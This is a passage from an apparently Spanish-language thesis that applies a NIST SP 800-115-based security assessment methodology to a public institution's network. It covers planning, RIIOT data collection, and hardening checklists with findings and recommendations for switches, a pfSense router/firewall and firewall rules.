contrasefia de un usuario o llamar al help desk haciéndose pasar por un usuario y solicitar un reinicio de
contrasefia.

2.5.3 Técnicas de Evaluacion
Informe de Referencia

Es hacer una medicién de referencia del sistema cuando este trabaja bajo condiciones normales y luego
comparar una condiciona anémala del sistema contra el punto de referencia para determinar donde esté el
problema.

Revision de Cédigo

Consiste en hacer revisiones regulares del cddigo del software desarrollado internamente por la
organizacion. Es recomendable tener un revisor de la seguridad del codigo de las aplicaciones en
busqueda de errores en el cddigo que puedan causar un problema de seguridad.

La mayoria de los problemas resultan de la forma insegura en que los desarrolladores programan las
aplicaciones. Por ejemplo, es una regla fundamental de la codificacion segura garantizar que los datos
enviados a la aplicacién se validan, ya que si no se hace, un atacante podria realizar un ataque de SQL
injection o un ataque de buffer overflow.

Determinar la Superficie de Ataque

La superficie de ataque es todo el software que se instala y los servicios que se ejecutan en el sistema. Un
profesional de la seguridad que esta evaluando la seguridad de un sistema debe ayudar a las
organizaciones a reducir la superficie de ataque de un sistema recomendado la eliminacion de software y
servicios innecesarios del sistema.

Revision de Disefio

Consiste en evaluar el disefio antes y después de que se implementa una solucion. Es fundamental
identificar los problemas de seguridad de un sistema desde el principio de manera que se pueda tener un
estatus secure by design (lo que significa que la seguridad fue un foco principal de principio a fin de la
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creacion de la solucion). Una vez que la solucion se ha completado, ya sea una solucion de aplicacion o
de red, hacer una revision del disefio garantiza que lo que se pidié como solucién es en realidad lo que se
ha implementado.
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Capitulo 3. Marco Metodoldgico

En este capitulo se presenta el modelo usado para planificar y ejecutar la revisién de la red de datos
tomando como caso de estudio la infraestructura de red de una institucion del sector publico.

El modelo presentado es una adaptacion a la situacion de la organizacion a partir de los métodos y
técnicas que propone el documento NIST SP 800-115[20] y las recomendaciones de los autores Jackson
[17], Davis & Schiller [18] y Landoll [21]. ElI modelo propuesto corresponde a una metodologia de
trabajo que define 3 etapas [20] (ver Figura 23).

Ejecucion de
Pruebas
Técnicas

3
Y

Planificacion Mitigacion

Figura 23. Metodologia de Evaluacion de la Seguridad a utilizar

La primera etapa corresponde a la planificacion del proyecto, deben definirse los objetivos y realizar un
analisis de la infraestructura fisica presente contemplando los dispositivos de red, a saber: switches,
routers, firewalls, IDS/IPS vy el trafico que por ellos atraviesa. Posteriormente, se procede a disefiar un
conjunto de prueba a ejecutar considerando las particularidades de cada dispositivo. Una vez consolidados
dichos planteamiento, es posible ejecutar las pruebas a fin de conocer las debilidades en los controles de
seguridad actualmente implementados.

La segunda etapa corresponde a la ejecucion de pruebas técnicas que se van a ejecutar sobre la
infraestructura de red. Esta etapa requiere de la seleccion de un conjunto de pruebas a realizar que se
hace en la fase anterior. Luego se procede a llevar a cabo usando diferentes técnicas y herramientas una
evaluacion de las vulnerabilidades en la infraestructura actual. La salida de esta fase es un conjunto de
vulnerabilidades.

La tercera etapa corresponde a la mitigacion de las debilidades encontradas de manera tal que, al finalizar,
la infraestructura quede en un estado de mayor seguridad que al inicio.

Esta metodologia de trabajo pretende desarrollar una estrategia de evaluacion de vulnerabilidades en una
arquitectura de red, que los procedimientos seguidos queden a su vez documentados en la organizacion
junto con los resultados obtenidos, que se almacenaran, para que en el futuro puedan compararse estos o
ser utilizados como punto de partida en una nueva evaluacion de seguridad que se realice posteriormente.

La presente metodologia esta pensada para evaluar solo aspectos técnicos de la seguridad informatica. No
se consideran los aspectos administrativos de la seguridad o la seguridad fisica. Cabe resaltar que la
seguridad administrativa y fisica de la informacion son aspectos fundamentales que sin duda contribuyen
a asegurar los activos de cualquier organizacion pero estan fuera del alcance del presente proyecto.
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A continuacion se plantean cada una de las tareas asociadas a cada etapa de la metodologia de trabajo a
utilizar.

3.1 Planificacidon del Proyecto

Realizar una prueba de seguridad es un proyecto y como tal, requiere de una planificacion clara y
detallada de las actividades a ejecutar para, posteriormente, poder medir si los objetivos fueron
alcanzados o no.

3.1.1 Determinar el Objetivo

Entender y documentar el objetivo de una prueba de seguridad especifica ayuda a enfocar el proyecto en
satisfacer las necesidades de la organizacion. El aspecto principal de la prueba de seguridad es hacer un
analisis de la efectividad de los controles de seguridad actualmente implementados para proteger los
activos de la organizacion.

3.1.2 Definir el Alcance
El &mbito o alcance de la prueba de seguridad constituye el limite de los controles de seguridad y los
activos incluidos en la revisién. Debe definirse claramente el alcance de la evaluacion en términos de:

e Controles de seguridad técnicos (contramedidas) a revisar.
e Activos a ser protegidos.
e Limites de los sistemas.

Todas las evaluaciones de seguridad estan limitadas por algin factor. La mayor limitacién de una
evaluacion de seguridad es la definicion del sistema a ser evaluado [21]. No importa cuanto tiempo o
habilidades se tengan, si un riesgo de seguridad existe fuera de los limites de la evaluacion de seguridad,
esta no sera considerada durante el proceso.

Los limites de la evaluacion de seguridad los determina la organizacién objetivo. Identificar los limites de
la evaluacion de seguridad es esencial para asegurarse de que no se cubren muy pocos aspectos o, si por el
contrario, se cubren mas aspectos de los que se deben.

Las limitaciones mas usuales en el ambito de la evaluacion de seguridad pueden ser geogréficas,
funcionales o tecnoldgicas. Estas limitaciones vienen determinadas por la organizacién objetivo de
acuerdo a su necesidad y entorno particular.

Para determinar los limites del proyecto, en conjunto con la organizacion objetivo deben identificarse
cuéles seran los controles técnicos que se tiene permiso de evaluar. Debe definirse también los limites
fisicos y l6gicos en el contexto de lo que esta dentro de la evaluacién de seguridad y lo que no.

3.1.3 Elaboracion de una Checklist
Una checklist o lista de comprobacién por su traduccion al espafiol es una lista de elementos que se usa
para comprobar o chequear determinadas acciones o tareas.

La checklist debe construirse de acuerdo al entorno particular de la organizacion y los limites de alcance
del proyecto asegurandose que cubre por completo los objetivos de la evaluaciéon. Debe tomarse como
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base para su elaboracion las mejores practicas y los principios fundamentales de la seguridad. Una
checklist actlia como guia para muchas de las actividades de un proceso de evaluacion.

3.2 Evaluacion Tecnica

La finalidad de esta etapa es determinar debilidades en la arquitectura actual desde el punto de vista
técnico. En primer lugar debe definirse la muestra de elementos de la red que se usara durante la
evaluacion técnica.

Para ejecutar la prueba de las contramedidas de seguridad actuales de la organizacion se usara un método
de recoleccion de datos que se propone en [21] y el autor llama RIIOT por ser las siglas en ingles de
Review, Interview, Inspect, Observe and Test que es una manera de asegurar un completo proceso de
recoleccion de datos.

Para efectos de esta evaluacion no se tomara en cuenta la seguridad fisica ni los aspectos administrativos
de la misma, el énfasis se hara en la seguridad l6gica (tecnologias). Cuando un mismo dispositivo cumple
varias funciones, el analista debe separar l6gicamente los servicios que ofrece el dispositivo en cuestion.

3.2.1 Seleccion de la Muestra

Cualquier prueba, con excepcién de la prueba completa, se conoce como una prueba representativa o
muestreo [21]. Un muestreo debe hacerse cuando no se cuente con los recursos o existan limitaciones
para hacer una prueba completa.

Se pueden usar 3 aproximaciones para escoger la muestra de los equipos a los que se aplicara la prueba de
seguridad:

e Prueba representativa.
e Muestreo seleccionado.
e Muestreo aleatorio.

En las siguientes secciones se procedera a describir brevemente las actividades del proceso RIIOT.

3.2.2 Revision de Documentos Técnicos (Review)
El grueso de la revision de documentos sera una revision de diagramas ya que en la institucion no se
acostumbra a escribir manuales para las funciones de seguridad.

Los documentos técnicos a solicitar son (si existen):

e De informacion de sistemas.
e De evaluaciones de seguridad previas.
o Reportes de auditoria y manuales internos.

Se deben revisar los diagramas técnicos disponibles para determinar la arquitectura de seguridad de los
sistemas.
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La revisién del disefio de seguridad (también llamado revision arquitectonica) es una evaluacién del
disefio de la arquitectura contra principios basicos de seguridad. No es un esfuerzo de pruebas soportado
por el uso de herramientas. ES una revision de ingeniera de la red y el disefio de sus controles de
seguridad.

3.2.3 Entrevistas a Personal Técnico (Interview)

En su mayor parte, la recoleccion de datos en el &rea técnica involucra probar los sistemas. Sin embargo,
en algunos casos es importante entrevistar al personal técnico clave para entender la red, resolver
problemas de las pruebas y entender los controles técnicos empleados.

Las entrevistas con personal técnico por lo general deben mantenerse al minimo, entre otras cosas, porque
lo més importante es conocer como realmente funcionan las cosas que conocer como se dice que
funcionan. Sin embargo, las entrevistas pueden resultar Gtiles como informacion de fondo pero debe
tenerse claro que debe confiarse més en las pruebas e inspecciones propias.

La entrevista debe basarse en alguno de los siguientes temas:

e Pruebas y revisiones de seguridad.
e Componentes de seguridad.
e Operaciones y procedimientos de seguridad.

3.2.4 Inspeccion de Controles de Seguridad Técnicos (Inspect)

Hacer una inspeccion es diferente a hacer una prueba, la inspeccion se realiza cuando la prueba es
inapropiada o no factible [21]. La inspeccién involucra la revision de los controles de seguridad y
aspectos de los controles de seguridad tales como configuraciones o reglas.

La aproximacion para realizar una inspeccién de los controles de seguridad es:

e Hacer una lista de los controles de seguridad bajo revision.
o Determinar vulnerabilidades.
e Documentar los resultados.

Los controles a inspeccionar en el contexto de este trabajo son los siguientes:

e Configuraciones de seguridad de switches.
e Configuraciones de seguridad de routers.
o Configuraciones de seguridad de firewalls.

Se usa una checklist de configuracion para guiarse en la revision de los componentes del sistema por
posibles vulnerabilidades y se utilizardn de la siguiente manera [21]:

1. Seleccionar una checklist apropiada para los componentes de seguridad que se van a revisar.

2. Personalizar la checklist para adaptarla al entorno Unico organizacional.

3. Se recorre la checklist personalizada de seguridad indicando las areas en las cuales la
implementacion actual difiere de la recomendada en la checklist.

4. Determinar las posibles vulnerabilidades dentro del componente del sistema basandose en su
desviacion de la recomendacion de la checklist.

63



3.2.5 Observar Comportamiento del Personal Técnico (Observe)

Este es un proceso pasivo y requiere ser consciente de las politicas de la organizacion, procedimientos y
controles de seguridad para asi poder identificar el uso efectivo de las tecnologias en la organizacion. Un
ejemplo de observacion en este contexto es dar un paseo por las instalaciones de la organizacion y estar
atento a actividades tales como si un usuario deja su equipo sin bloquear cuando lo deja desatendido o
tiene su contrasefia escrita en un sitio visible por cualquiera.

3.2.6 Prueba a los Controles de Seguridad Tecnicos (Test)

Es la tltima fase de la recoleccion de datos para controles de seguridad técnicos en el método RIIOT. En
este proceso se generan condiciones que ponen a prueba las contramedidas técnicas implementadas por la
organizacion contra sus funciones de seguridad previstas. Este tipo de recoleccion de datos proporciona
una excelente vision de la efectividad de los controles implementados.

Los controles técnicos a probar en este proyecto son los siguientes:

o Existencia de servicios innecesarios habilitados en los dispositivos de infraestructura.
e Configuracion de seguridad de switches.

e Configuracion de seguridad de routers.

o Reglas del firewall.

Si una prueba técnica en particular es probable que provogque DoS, esta debe probarse contra un sistema
gue no esté en produccion. Si es probable que una prueba afecte el performance de la red o de los
servicios, esta debe hacerse preferiblemente en horas fuera de la jornada laboral para minimizar impacto
en las operaciones.

3.3 Mitigacion de Vulnerabilidades

Una vez que se conocen las debilidades de la organizacién, deben desarrollarse las recomendaciones
pertinentes (contramedidas) para reducir el riesgo. Se va a implementar la contramedida técnica adecuada
a cada vulnerabilidad detectada siempre que se cuente con los recursos y permisos necesarios para su
implementacion.
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Capitulo 4. Marco Aplicativo

En el capitulo 3 se presentd la metodologia a utilizar para hallar las vulnerabilidades en seguridad de la
organizacion objeto del estudio. A continuacion, se describe el proceso practico que se siguié para probar
la efectividad de las contramedidas de seguridad actualmente implementadas.

El caso de estudio es una institucidn pablica relacionada con la planificacion estratégica de la nacion que
requiere hacer un estudio del estado actual de la seguridad de su infraestructura de comunicaciones y, en
base a este estudio, implementar las contramedidas de seguridad necesarias para asegurar la
confidencialidad, integridad y disponibilidad de la informacién que produce.

4.1 Planificacion del Proyecto
De acuerdo con la metodologia presentada en el capitulo anterior, se desarroll6 una planificacion
detallada para llevar a cabo este proyecto y esta se presenta a continuacion.

4.1.1 Objetivo del Proyecto
La evaluacion de la seguridad de la red de datos consistira en una revision técnica de la infraestructura de
red actual para exponer (y mitigar) sus posibles fallas en materia de seguridad informatica.

Objetivos principales del trabajo definidos por la organizacion:

e Analizar la efectividad de los controles de seguridad actuales en los equipos de infraestructura de
red que protegen los activos mas criticos de la organizacion.

e Detectar las debilidades de seguridad mas criticas en la infraestructura actual.

e Corregir las debilidades encontradas.

4.1.2 Alcance
Se harad un procedimiento que permita exponer las vulnerabilidades y fallas en cuanto a la seguridad
I6gica de la infraestructura tecnoldgica.

El alcance de este trabajo contempla la evaluacion Gnicamente de controles técnicos para proteger los
dispositivos de red y las comunicaciones que por ellos atraviesa. No se considera la seguridad de
servidores ni la de equipos finales de usuario que son elementos que quedan fuera del alcance del presente
proyecto ya que se tiene pensado ejecutarlos en el futuro cercano como proyectos distintos a este.

Las amenazas que enfrentan los dispositivos de infraestructura estan enfocadas a los dispositivos en si
mismos, su capacidad para transmitir los datos o la manipulacién en transito de los mismos. Las
amenazas primarias de los dispositivos de infraestructura de red (routers, switches) que se consideran en
este proyecto son:

e Acceso no autorizado.
e Denegacion de servicio.
e Captura de trafico.
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e Ataques de capa 2.
e Ataques a servicios de red.

A nivel de proteccion del perimetro de red las amenazas pueden venir desde dentro de la red mediante
hosts comprometidos o desde Internet. Se identifican las siguientes amenazas para el perimetro de red que
se consideran en este proyecto:

e Interrupcion de servicio.
e Abuso de lared.
¢ Robo de datos.

Controles de seguridad

A continuacion se hace una lista de los controles de seguridad identificados actualmente en la institucion.
Con actualmente nos referimos a que estos son los controles que se implementan antes de hacer la
evaluacion de la seguridad informatica en la red de datos con el fin de proteger la infraestructura de
comunicaciones. La manera de determinar estos controles fue la observacion directa y reuniones con
personal técnico de la organizacion.

Controles administrativos

e Existen politicas escritas de seguridad de la red de datos.
e Existen politicas escritas de seguridad de uso del correo electronico.
Controles fisicos

e Cémaras de seguridad.
e Losservidores y equipos de red estan resguardados en habitaciones de acceso restringido.
Controles técnicos

e Inventario de los equipos conectados a la red cableada.

e Lared se segmenta usando VLANS con trafico limitado mediante reglas de firewall.

e Se deniegan comunicaciones desde direccion IP maliciosas.

e El trafico hacia Internet de la organizacion pasa por un proxy.

e El disefio de la red se divide en mas de 3 zonas de seguridad (Red Interna, Red de Servidores,
Red de Administracién, DMZ).

e Seusan servidores DNS internos.

e Se hace uso de NAT para la salida a Internet y también para colocar servicios publicos en
Internet.

Resultados de auditorias previas

No se ha hecho antes ninguna auditoria de seguridad informatica
Documentacion actual

e Documento de politicas de seguridad.
e Documento de politicas de uso del correo electronico.
e Diagramas de red (desactualizados).
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Activos

Los activos a proteger mas importantes de la organizacion se detallan en la Tabla 2. Se definen 3 niveles
de criticidad para los activos tomados de [21]:

e Activo critico: los activos que impedirian a la organizacion llevar a cabo sus funciones centrales
del negocio si no estan protegidos.

e Activo importante: activos cuyo compromiso no impedirian a la organizacion el cumplimiento
de sus funciones centrales del negocio en el corto plazo, pero si cuando no se restauran.

e Activo de soporte: activos cuyo compromiso no impedirian a la organizacion el cumplimiento de
sus funciones centrales del negocio pero reduciria la efectividad o eficiencia de las operaciones
del dia a dia.
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Tabla 2. Activos mas importantes a proteger

Nombre del Funciones Datos Criticidad
Sistema
DNS Servicio de resolucién de nombres | Nombres de dominio Activo
importante
LDAP Servicio de directorio Cuentas de usuario Activo  de
soporte
Correo Servicio de correo institucional - Informacién personal Activo
» ) importante
- Informacion sensible del
instituto
Tienda Web Sistema para vender productos y | - Informacion de precios y | Activo
servicios de la institucion productos critico
- Datos de usuarios
ERP Software | Sistema administrativo basado en | - Informacion financiera Activo
Libre web . critico
- Informacion personal de los
empleados
Almacenamiento Almacenamiento de los productos | - Documentacion generada | Activo
de datos generados o adquiridos por el | por las oficinas de la| critico
instituto organizacion
- Productos generados por la
organizacion
Intranet Pagina web con informacion | Informacion de utilidad para [ Activo  de
importante para los empleados los empleados soporte
4.1.3 Limites

Es importante definir apropiadamente los elementos fisicos que estan dentro y fuera del dominio del
proyecto. La Figura 24 muestra con borde rojo los elementos fisicos dentro del alcance.
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Edificio de la Sede Central

edificio
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Piso 2 Oficinas Piso 2
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Figura 24. Limites Fisicos del Proyecto

La Figura 25 muestra con linea punteada los elementos légicos dentro del alcance. Estos elementos son
los que se contempla evaluar dentro del contexto del presente trabajo.

Redes
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Externo VPN VPN | l
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Almacenam|ento Servidores Bases de Apllcauones
I Compartido Web Datos I

Figura 25. Limites Logicos del Proyecto

Por solicitud de la organizacion la evaluacion de seguridad no incluye cualquiera de las siguientes
actividades:

e Ataques de DoS.
e Exploits que introduzcan nuevas debilidades a los sistemas.
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e Introduccidn intencional de codigo malicioso (virus, troyanos, gusanos, etc.).

4.1.4 Checklists a Utilizar

Para el desarrollo de este proyecto fue necesaria la construccion de diferentes listas de comprobacion
(checklists) para tener una referencia a la hora de buscar fallas en elementos de la seguridad de la
infraestructura. Las checklists elaboradas estan distribuidas en las secciones de este capitulo en las que se
utilizaron.

4.2 Ejecucion de la Evaluacion Técnica

De acuerdo con la metodologia, el segundo paso en la prueba de seguridad es ejecutar una evaluacion
técnica.

En el capitulo anterior se introdujo el método RIIOT (Review, Interview, Inspect, Observe, Test) para la
recoleccion de datos que puede aplicarse a cualquier forma de evaluacion de la seguridad y ayuda a
asegurar un proceso de recoleccién de datos mas completo y bien manejado.

La aplicacion del método RIIOT al area técnica muestra que la mayoria de las técnicas de recoleccion de
datos que se aplicara a los controles técnicos de seguridad serd la inspeccion y la prueba a los controles
técnicos.

En la Tabla 3 se presenta una lista de los controles técnicos de seguridad que se van a evaluar en este
trabajo y la técnica a utilizar.

Tabla 3. Controles de Seguridad

Controles

Revision de
documentos

Entrevistas a
personal
clave

Inspeccion
de controles

Observar
comportamiento

Prueba de
controles

Redundancia

X

Segmentacion  de
red

X

Division en zonas
de seguridad

Uso de logs

Configuracién
segura de
dispositivos de
infraestructura

Hardening de
dispositivos de
infraestructura

Controles de acceso
I6gicos

Uso de protocolos
Seguros

NAT/PAT

Reglas de Firewall
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4.2.1 Seleccion de la Muestra
La organizacidn cuenta con los siguientes dispositivos de infraestructura que se muestran en la Tabla 4.

Tabla 4. Dispositivos de Infraestructura

Dispositivo Marca/Modelo Sistema Cantidad | Puertos | Forma de
Operativo administracion
Switch HP 1910-24G Propietario  de | 53 24 CLI (limitado) /
3COM Web
Router/Firewall | HP  ProLiant DL360 | Pfsense 2211 4 CLI/Web
Generation 4p | (Basado en
(Servidor) FreeBSD)

Para el caso de la evaluacion de router y firewall, al tratarse de un solo dispositivo, la ejecucion de las
pruebas se hara sobre este Unico dispositivo que representa el 100% de la poblacién de dispositivos de
borde. Para el caso de los switches podemos ver en la Tabla 4 que hay 53 de ellos, no es necesario evaluar
cada uno ya que todos son el mismo modelo y tienen la misma configuracién; por lo tanto, al escoger al
azar un representante de la muestra de 53 switches (muestreo representativo) y ejecutar las pruebas sobre
él se pueden sacar conclusiones de toda la poblacion.

4.2.2 Revision de Documentos Técnicos
El grueso de la revision de documentos sera la revision de manuales y diagramas. La metodologia sefiala
que se deben revisar los siguientes documentos técnicos:

e De informacion de la red.
o Evaluaciones de seguridad previas.
e Manuales y reportes internos de auditoria.

El Gltimo diagrama de red de la organizacién se hizo en el afio 2012 y no esta actualizado. Se van a
elaborar los diagramas de red actualizados y la informacién de segmentacion de la red la proveera la
organizacion. Esta es la primera vez que se hace una evaluacion de este tipo en la organizacién y, por
tanto, no existe documentacion asociada a procesos anteriores. Actualmente no hay una politica de
elaboracion de manuales de seguridad internos.

El objetivo de la revision de los diagramas de red es tener un entendimiento de la arquitectura de
seguridad de la organizacion.

La Figura 26 muestra el diagrama de red Idgico de la infraestructura actual de la sede central en Caracas
de la organizacién. Este diagrama no muestra necesariamente la topologia fisica de la red, lo importante
es resaltar la arquitectura actual de la infraestructura de red en Sede Central sin considerar las sucursales o
branchs. Es importante mencionar que aunque en el diagrama se muestra una red DMZ que de hecho esta
creada en el router, esta no se est4 usando en realidad ya que todos los servicios publicos y privados estan
ubicados en la red de servidores que se ve en el diagrama.

71




Redes
Internas

Red de Administracion

Proxy Reverso

Routt:)r:'l::lgewall witch Core
NAT
DMZ
e
. . Client Intranet Seryidor
Usuario Cliente lente S LDAP Instit cmnal
Externo VPN VPN A
S Servidores

LEam |

d

Ser\ndor de Tlenda \
Correo

eb Servidor Almacenmlento
DNS Compartido

Figura 26. Diagrama de red de la Sede Central.

Internamente, la separacion I6gica en subredes dentro de la organizacién se hace por medio de VLANS
gue se describen en la Tabla 5.

Tabla 5. Redes en la Organizacion.

Descripcion Numero de redes | Mascara
Servidores de la institucion 1 124
Oficinas y departamentos de la organizacion 20 124
Red de administracion de equipos de infraestructura 1 124
Zona desmilitarizada (DMZ) 1 /29
Conexion a Internet 1 /30

En la Figura 27 vemos un diagrama de la topologia fisica de la red. Este diagrama muestra a alto nivel

como estan distribuidos los 53 switches de la organizacion en Sede Central.
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Figura 27. Topologia fisica de la red en Sede Central.

Una revision de la arquitectura perimetral usando como referencia la documentacion mostrada hasta ahora
da una vision de alto nivel de las defensas que protegen la entrada y salida de datos en la red y permite
identificar debilidades de seguridad que podrian ser explotadas [17].

Para hacer la revision del disefio de la red se elabor6 una checklist adaptada de [21] [17] [22]. Los items
se presentan sin ningun orden en particular. A continuacion, la mencionada checklist.

1. Existe redundancia de dispositivos criticos.

2. Lared se segmenta por unidades l6gicas dentro de la organizacion.

3. El disefio del firewall debe contemplar al menos las siguientes zonas de seguridad: DMZ Publica,
DMZ Privada, Red de Administracion, Red Interna.

Al inspeccionar contra la checklist el disefio de la infraestructura se encontraron los resultados que se
muestran en la Tabla 6.

73



Tabla 6. Resultado la revision del disefio de la infraestructura

item | Cumple Observaciones Recomendacion

1 No La implementacion de disefios redundantes | Implementar redundancia de switch core
ayuda a eliminar puntos Unicos de falla, | y de router/firewall mediante protocolos
mejorar la disponibilidad de la red y la hace | como VRRP (Virtual Router
mas resistente a ataques. En el diagrama | Redundancy Protocol)

fisico de la Figura 27 se observa que la
organizacion tiene un solo switch core y un
solo router/firewall

2 Si En la Tabla 5 se evidencia que la | Mantener este aspecto del disefio
organizacion haciendo uso de VLANS
segmenta su red segun sus unidades ldgicas

3 Si Segun lo observado en el diagrama de la | Mantener este aspecto del disefio pero
Figura 26 y los datos de la Tabla 5 la | corregir el error de implementacion de
organizacion tiene una DMZ publica, una | mantener todos los servidores pablicos y
Red de Administracion, la Red Interna y | privados en la misma red (Red de
también una DMZ Privada (que en el | Servidores). Se sugiere transferir los
diagrama se llama Servidores). Aunque el | servidores que son publicos desde la Red
disefio contempla una DMZ Publica esta en | de Servidores (DMZ Privada) a la DMZ
realidad no se est4 usando Publica

4.2.3 Entrevistas a Personal Técnico
Esta actividad no fue necesaria para el desarrollo de este trabajo debido a que la evaluacion es interna de
la organizacion y se cuenta con toda la informacion disponible.

4.2.4 Inspeccion de Controles de Seguridad Técnicos

Una inspeccion consiste en la revision de los aspectos de control de la seguridad, tales como las
configuraciones de los equipos de infraestructura. La inspeccién se realiza cuando la prueba es
inapropiada o no es posible.

Los controles de seguridad pertinentes para ser inspeccionadas incluyen s6lo aquellos que se prestan a la
inspeccion. En el caso de los controles técnicos de seguridad para los dispositivos de infraestructura, son
los siguientes:

e Configuracioén de dispositivos de infraestructura de red (switches, routers).
e Configuracion de dispositivos de proteccion perimetral (firewall, IDS/IPS).
o Manejo de logs.

e Respaldos de archivos de configuracion.

Por supuesto, solo aquellos controles actualmente implementados por la organizacion se pueden
inspeccionar.

Con diferencia el método mas ampliamente utilizado para una revision de las configuraciones es el uso de
una checklist [21] y es el instrumento a utilizar para esta tarea en el presente trabajo. Una checklist es un
documento que contiene instrucciones y procedimientos para la configuracion segura de los productos de
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tecnologia de la informacion. EI uso de una checklist como guia en el proceso de examinacién es una
forma rapida de asegurarse que se hace una revision razonable de las posibles vulnerabilidades.

La inspeccidn de controles técnicos se va a dividir en inspeccion general de switches, routers y firewalls
por una parte y luego inspecciones especificas de acuerdo a las particularidades de cada dispositivo.

Inspeccion General del Equipamiento de Infraestructura

La siguiente checklist adaptada de [18] [17] [22] resume los pasos a la hora de inspeccionar la seguridad
de las configuraciones de los equipos de infraestructura presentados sin ningdn orden en particular.

Los puertos administrativos (vty, consola, aux) que no se usan estan desactivados.

Se aplican controles de acceso al puerto de consola.

Los intentos de login fallidos estan limitados.

Se restringe el acceso a las interfaces de administracion.

Se usan protocolos seguros como HTTPS o SSH para acceder a la administracion de los

dispositivos cuando sea posible.

6. Los dispositivos de infraestructura requieren clave para su administracion y esa clave se guarda
cifrada siempre que sea posible.

7. Los dispositivos estan configurados con autenticacién centralizada y las cuentan locales se usan
solo en caso de falla.

8. Cada administrador tiene su propia cuenta Unica y con los privilegios que le correspondan segin
su nivel.

9. Hay un banner configurado con el fin de que todos los usuarios que se conecten tengan
conocimiento de la politica de la compafiia para el uso y seguimiento.

10. SNMP esté configurado de una manera segura.

11. Se tiene configurado un servidor centralizado de logs para registrar los eventos mas importantes
de cada dispositivo.

12. NTP esta configurado en cada dispositivo.

13. Se hacen respaldos de los archivos de configuracion.

14. La sesion esta configurada para expirar luego de cierto tiempo de inactividad.

ISR .

Al inspeccionar contra la checklist los dispositivos de infraestructura se encontraron los resultados en la
Tabla 7.
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Tabla 7. Resultado la inspeccion de la configuracidn de todos los dispositivos

item | Switch | Router/Firewall Observaciones Recomendacion

1 Si Si Tanto el switch como el router/firewall | Mantener esta
tiene un solo puerto de administracion y | configuracién
ninguno més adicional

2 No NA El acceso por puerto consola del switch | Crear una contrasefia
no tiene una contrasefia de acceso para el acceso por

consola

3 NA Si El software del router/firewall bloguea | Mantener esta
por defecto los intentos de login luego | configuracion
de 15 intentos fallidos y esta es la
configuracion actual. Los switches no
tienen esta caracteristica

4 No No Actualmente cualquier usuario desde | Implementar ACLs para
cualquier ubicacién de la red puede | permitir acceso
acceder a las pantallas de login de los | administrativo solo a
dispositivos personal autorizado

5 No Si El software del router/firewall tiene esta | Configurar los switches
configuracion por defecto y es la| para que la
configuracion actual. Los switches por | administracion se haga
defecto tienen habilitado Telnet y HTTP | via SSH o HTTPS
para administracién y esa configuracion
no se ha cambiado

6 No Si La configuracién por defecto de los | Configurar los switches
switches no tiene ninguna contrasefia de | para que el acceso
administracion administrativo  solicite

contrasefa

7 No NA El software del router/firewall no soporta | Implementar un servidor
actualmente autenticacién centralizada | AAA para la
para su administracion. Los switches se | autenticacion
administran haciendo uso de un usuario | centralizada en  los
local del equipo switches

8 No Si Para administrar el software del | Crear cuentas
router/firewall cada usuario tiene una | individuales para cada
cuenta individual. Los switches solo | usuario en un servidor
tienen la cuenta por defecto que usan | AAA
todos los administradores

9 NA No Los switches no soportan esta | Configurar un banner
posibilidad. El software del | legal en el software del
router/firewall no tiene actualmente | router/firewall
ningun banner

10 NA NA Actualmente los dispositivos no se | NA
monitorean con SNMP

11 No Si Actualmente la organizacion tiene un | Configurar los switches

servidor syslog ya implementado. El
software  del  router/firewall  esta
configurado para enviar sus logs pero los
switches no

para que envien logs al
servidor centralizado
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Tabla 8. Resultado la inspeccidn de la configuracidn de todos los dispositivos (Continuacion de Tabla 7)

item | Switch | Router/Firewall Observaciones Recomendacion

12 No No Ni el software del router/firewall ni | Configurar un servidor NTP
los switches sincronizan actualmente | y hacer que todos los
con algun servidor NTP dispositivos sincronicen con

el

13 No No Los switches y el software del | Programar shell scripts para
router/firewall permiten respaldar sus | automatizar la tarea de
configuraciones  descargando  un | backup de configuraciones
archivo pero actualmente no se hace

14 Si Si El software del router/firewall y los | Mantener esta configuracion

switches tienen habilitada esta
caracteristica por defecto y es la
configuracion actual

Inspeccion Adicional: Switch

La siguiente checklist adaptada de [18] [17] [22] resume los pasos a la hora de inspeccionar la seguridad
de las configuraciones de los dispositivos capa 2.

1.
2.

6.

La auto negociacion de troncales esta deshabilitada (Protocolos: DTP).

La propagacion de definiciones de VLANs esta deshabilitada o se protege mediante una
contrasefia (Protocolos: VTP, MVRP).
El descubrimiento de dispositivos esta deshabilitado sino es absolutamente necesario (Protocolos:
CDP, LLDP).
Se evita el uso de la VLAN 1.
Los puertos de switch que no se estan utilizando estdn deshabilitados o en una VLAN no
enrutable.
Los puertos que son para dar conexion a usuarios estan en modo acceso y no en modo troncal.

Al inspeccionar contra la checklist los dispositivos capa 2 se encontraron los resultados presentes en la
Tabla 9.
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Tabla 9. Resultados de la inspeccion de la configuracién de switches

item | Switch Observaciones Recomendacion

1 NA Los switches no tienen soporte DTP NA

2 NA Los switches no tienen soporte VTP/MVRP NA

3 Si Por defecto LLDP no estad configurada en los | Mantener esta configuracién
switches y esta es la configuracion que se tiene
actualmente

4 No Se esté utilizando la VLAN 1 para una de las redes | Crear un nuevo tag de VLAN y
internas sustituir en la red en que se esta

utilizando VLAN 1

5 No Por defecto los puertos sin utilizar del switch estan | Colocar los puertos sin utilizar de
en la VLAN 1 y esta es la configuracion que se | los switches en una VLAN no
tiene actualmente enrutable

6 Si En la organizacion se tiene la convencion de | Mantener esta configuracion

reservar el ultimo puerto de cada switch como el
Gnico puerto troncal del mismo, los demas son
puertos de acceso

Inspeccion Adicional: Router

La siguiente checklist adaptada de [18] [17] [22] resume los pasos a la hora de inspeccionar la seguridad
de las configuraciones del router en la red.

1. Los protocolos de enrutamiento se configuran con autenticacion y cifrado.
2. Las interfaces sin usar estan deshabilitadas.

Al inspeccionar contra la checklist se encontraron los resultados mostrados en la Tabla 10.

Tabla 10. Resultados de la inspeccidn de la configuracion del router

item | Router Observaciones Recomendacion
1 NA Actualmente no se estad utilizando ningin protocolo de | NA

enrutamiento dindmico en la organizacién
2 Si Por defecto el software del router/firewall solo habilita una | Mantener esta

interfaz para la WAN y otra para la LAN. El resto esta
deshabilitadas por defecto. Actualmente hay mas de dos interfaces

creadas en el router pero todas se estan utilizando.

configuracion

Inspeccion Adicional: Firewall

La siguiente checklist adaptada de [18] [17] [22] resume los pasos a la hora de inspeccionar la seguridad
del firewall en la red.

1.

Se usa NAT para que los usuarios tengan acceso a Internet y asi esconder el direccionamiento
interno y la topologia.
Se usa NAT para el acceso desde Internet a los servicios publicos en la DMZ y asi esconder el
direccionamiento interno y la topologia.
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3. Se guardan registros (logs) del trafico denegado.
